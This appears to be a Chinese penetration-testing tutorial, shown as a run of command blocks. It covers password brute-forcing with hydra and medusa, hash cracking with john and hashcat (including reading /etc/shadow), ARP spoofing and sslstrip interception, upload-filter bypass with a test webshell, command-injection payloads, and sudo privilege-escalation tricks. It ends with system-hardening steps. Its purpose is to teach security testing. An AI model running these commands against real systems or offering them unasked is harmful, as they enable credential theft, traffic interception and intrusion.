1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# 安装
sudo apt install hydra

# 基本语法
hydra -l 用户名 -p 密码 目标 服务

# SSH 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# FTP 暴力破解
hydra -l admin -P passwords.txt ftp://192.168.1.1

# HTTP 表单破解
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

# 破解多个用户
hydra -L users.txt -P passwords.txt ssh://192.168.1.1

1
2
3
4
5
6

"/登录路径:请求体:判断条件"
   |          |        |
   |          |        └─ F=失败特征串（出现它就说明这次没成功）
   |          |           也可以用 S=成功特征串
   |          └────────── 用 ^USER^ 和 ^PASS^ 作为占位符
   └───────────────────── 提交表单的 action 路径

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 单用户破解
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -V

# 多用户破解
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt \
    -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt \
    ssh://192.168.1.100 -V

# 指定端口并显示每次尝试（-V 是"显示每一次尝试"，不是暂停/恢复）
hydra -l root -P passwords.txt ssh://192.168.1.1 -V -s 22

# 只跑 4 个线程，并指定输出文件，适合对性能敏感的目标
hydra -l root -P passwords.txt ssh://192.168.1.1 -t 4 -o hydra-ssh.txt

# 会话恢复：上次跑到一半被中断，用 -R 继续
hydra -R

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# 安装
sudo apt install medusa

# SSH 破解
medusa -h 192.168.1.1 -u root -P passwords.txt -M ssh

# FTP 破解
medusa -h 192.168.1.1 -u admin -P passwords.txt -M ftp

# 查看支持模块
medusa -d

# 指定端口、并发线程，并额外尝试空密码和"用户名即密码"
medusa -h 192.168.1.1 -u root -P passwords.txt -M ssh \
    -n 22 -t 4 -e ns -O medusa-ssh.txt

# 模块自己的参数用 -m 传，例如指定 HTTP 表单的失败特征
medusa -h 192.168.1.1 -u admin -P passwords.txt -M http \
    -m DIR:/login -m FORM:username=^USER^&password=^PASS^ -m FAIL:incorrect

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# Kali 自带字典
ls /usr/share/wordlists/

# 使用 crunch 生成字典
crunch 8 12 abcdefghijklmnopqrstuvwxyz -o passwords.txt

# 参数说明
# crunch 最小长度 最大长度 字符集

# 生成数字密码
crunch 6 6 0123456789 -o pins.txt

# 基于规则生成
crunch 8 8 -t @@^^@@@@ -o wordlist.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 安装（发行版仓库中的通常是功能齐全的 Jumbo 版）
sudo apt install john

# 基本用法
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# 查看支持的哈希格式（Jumbo 版支持的格式非常多）
john --list=formats

# 破解 Linux 本地账户密码
# /etc/shadow 只有 root 能读，所以要用 sudo；
# unshadow 把 passwd 与 shadow 合并成 John 能识别的格式
sudo unshadow /etc/passwd /etc/shadow > combined.txt
sudo chown "$USER" combined.txt          # 后面用普通用户跑 john 更方便
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

# 使用规则变形，常见单词也能派生出大量变体（P@ssw0rd、password123 之类）
john --wordlist=/usr/share/wordlists/rockyou.txt --rules combined.txt

# 字典跑完还没出结果时，用"增量模式"纯爆破（很慢，量力而行）
john --incremental combined.txt

# 查看已破解的密码
john --show combined.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# 安装
sudo apt install hashcat

# 查看支持的攻击模式
hashcat -h | grep "Attack"

# 查看支持的模式
hashcat --help | grep -i "hash-mode"

# 基本用法
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# 参数说明
# -m: hash 类型（0=MD5, 1000=NTLM, 100=SHA1, 1400=SHA256）
# -a: 攻击模式（0=字典, 1=组合, 3=暴力）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 列出可用设备（确认显卡被正常识别、驱动没装错）
hashcat -I

# Hashcat 支持 CUDA/ROCm
hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a

# 使用 GPU
hashcat -m 0 -a 0 -d 1 hashes.txt wordlist.txt

# 混合攻击
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d

# 常用辅助参数
# -w 3         工作量档位（1 最省资源，4 最高，机器卡顿时调低）
# -o cracked    把破解结果单独写入文件
# --show        只看已经破解出来的结果
# --username    哈希文件里带用户名时，忽略用户名只取哈希
hashcat -m 1000 -a 0 -w 3 -o cracked.txt --username ntlm.txt \
    /usr/share/wordlists/rockyou.txt

# 查看已破解结果（hash:明文 的形式）
hashcat -m 1000 ntlm.txt --show

# 不知道某个哈希属于哪种类型时，先看看官方给的示例格式
hashcat --example-hashes --hash-type 1000 | head -20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# 安装 dsniff（arpspoof 就在这个包里）
sudo apt install dsniff

# 开启 IP 转发，否则流量到了你这里就断了，受害者的网会直接断掉
# 注意：重定向符号 > 是由当前 shell 执行的，所以不能写成 sudo echo 1 > ...
sudo sysctl -w net.ipv4.ip_forward=1
# 等价写法：echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# ARP 欺骗：告诉受害者"网关的 MAC 是我"
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# 参数说明
# -i: 网卡
# -t: 要欺骗的目标 IP
# 后面的参数: 你想冒充的那台机器（通常是网关）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# 安装
sudo apt install ettercap-graphical

# 图形界面启动
ettercap -G

# 命令行
sudo ettercap -i eth0 -T -M arp:remote /192.168.1.1// /192.168.1.100//

# 参数说明
# -i: 网卡
# -T: 文本模式
# -M: 攻击模式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# 安装
sudo apt install sslstrip

# 先做 ARP 欺骗
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# 启动 sslstrip，监听 10000 端口（默认就是 10000，-l 可显式指定）
sslstrip -l 10000

# 用 iptables 把经过本机的 80 端口流量重定向给 sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 \
    -j REDIRECT --to-port 10000

# sslstrip 会把抓到的内容写到日志里（默认 sslstrip.log）
tail -f sslstrip.log

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# 一、检查"校验能不能被绕过"
# 1. 上传一张正常图片，确认功能与返回路径
# 2. 修改扩展名：test.php → test.php.jpg / test.phtml / test.php5 / test.pht / test.phar
# 3. 修改 Content-Type：image/jpeg → application/x-php，看服务端是否只信这个头
# 4. 在文件头补上图片魔数（GIF89a、\xFF\xD8\xFF），骗过"读文件头"的检查
# 5. 双写/大小写混淆：test.pphphp（绕过简单的字符串替换）、test.PHP
# 6. 图片马：把 webshell 追加到正常图片尾部，配合解析漏洞或 .htaccess 触发

# 二、检查"上传后的文件能不能被执行"
# 直接访问上传路径，看返回的是文件内容还是被当作脚本执行了
curl -i "http://target.com/uploads/test.jpg"

1
2
3
4
5
6
7

# 最小验证用的 webshell（只回显一个固定字符串，不做任何危险操作）
# <?php echo "UPLOAD_TEST_OK_" . php_uname(); ?>

# 上传成功后访问验证
curl "http://target.com/uploads/test.php"

# 验证完立即通过同一个漏洞把文件删掉，并在报告中记录文件名与时间

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# 测试用例
# ; whoami
# | whoami
# & whoami
# `whoami`
# $(whoami)

# 命令注入
# Linux: ping -c 3 127.0.0.1; whoami
# Windows: ping -n 3 127.0.0.1 & whoami

# 防御绕过
# 空格绕过：${IFS}
# 命令替换：$(echo\ test)
# 编码绕过：$(echo d2hvYW1p | base64 -d)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# 1. 查看当前用户
whoami
id

# 2. 查看 sudo 权限
sudo -l

# 3. 查看系统版本
uname -a
cat /etc/issue

# 4. 查看可执行文件的 SUID
find / -perm -4000 2>/dev/null

# 5. 查看开放端口（netstat 已废弃，用 ss）
ss -tulpn

# 6. 查找漏洞
searchsploit linux kernel 5.4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 查看 sudo 权限
sudo -l

# 常见的可 sudo 执行命令
# vim, less, more, nano, cp, mv, wget, curl, python, perl, ruby, nmap, git, systemctl, systemctl restart apache2

# vim 提权
sudo vim -c ':!/bin/bash'

# less 提权（在 less 里输入 !/bin/bash 回车即可）
sudo less /etc/passwd
!/bin/bash

# git 提权
sudo git help config
!/bin/bash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# 查看内核版本
uname -r
cat /proc/version

# 使用 searchsploit 查找漏洞
searchsploit "Linux Kernel" | grep "3.2.0"

# 常用提权辅助脚本
# LinPEAS（PEASS-ng 项目的一部分，目前最常用）：
#   https://github.com/peass-ng/PEASS-ng
# linux-exploit-suggester（按内核版本推荐可用 EXP）：
#   https://github.com/mzet-/linux-exploit-suggester
# LinEnum（较老，仍可用但更新少）：
#   https://github.com/rebootuser/LinEnum

# 下载并运行 LinPEAS（用最新发布版直链，避免老路径失效）
curl -L -o linpeas.sh \
    https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 1. 关闭不需要的服务，减少攻击面
sudo ss -tulpn            # 先看清哪些端口在监听
sudo systemctl disable --now telnet.socket rsh.socket 2>/dev/null

# 2. 用最小权限运行服务：能用普通用户就别用 root
sudo systemctl edit nginx     # 可以加 User=/Group= 覆盖

# 3. 打开审计与日志，出事之后才查得到
sudo apt install auditd -y
sudo systemctl enable --now auditd

# 4. 定时打补丁（Ubuntu/Debian 自动安全更新）
sudo dpkg-reconfigure unattended-upgrades

# 5. 用 lynis 做一次基线体检（只读扫描，不改配置）
sudo apt install lynis -y && sudo lynis audit system